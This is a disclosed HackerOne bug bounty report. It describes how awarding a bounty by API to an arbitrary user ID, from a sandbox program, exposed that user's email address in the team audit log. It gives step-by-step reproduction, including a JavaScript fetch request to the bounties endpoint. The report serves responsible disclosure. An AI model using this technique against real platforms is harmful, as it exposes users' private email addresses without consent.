HackerOne · Report #2404415
View any user email using the Team's audit log section
Duplicatestatus
criticalseverity
61upvotes
26 Mar 2024disclosed
How it was found
Summary: Hello team, I decided to do some further testing, and I came across another endpoint that can be used to reveal user emails.
Steps To Reproduce
- Create a demo in your account https://hackerone.com/teams/new/sandbox
- Create a token with the report manager role on https://hackerone.com/organizations/demo/settings/api_tokens
- Copy the user ID of any user that has an account on HackerOne
- A program bounty to that user using the API.
recipient_idis the id of any user and{id}is the id of your sandbox program.
let inputBody = "{\n \"data\": {\n \"type\": \"bounty\",\n \"attributes\": {\n \"recipient_id\": \"2869549\",\n \"amount\": 51,\n \"reference\": \"newbounty1\",\n \"title\": \"BOUNTY\",\n \"currency\": \"USD\",\n \"severity_rating\": \"high\"\n }\n }\n}";
let user = 'identifier';
let password = 'token';
let headers = new Headers();
headers.set('Authorization', 'Basic ' + btoa(user + ":" + password));
headers.set('Content-Type', 'application/json'); headers.set('Accept', 'application/json');
fetch('https://api.hackerone.com/v1/programs/{id}/bounties',
{
method: 'POST',
body: inputBody,
headers: headers
})
.then(function(res) {
return res.json();
}).then(function(body) {
console.log(body);
});
- You will get a success message
- After awarding the bounty to the user, head over to the audit log section of your sandbox team.
- Notice a message is shown
"@api" awarded a $51.00 bounty to "[email protected]"
POC ████
Impact
View emails of other users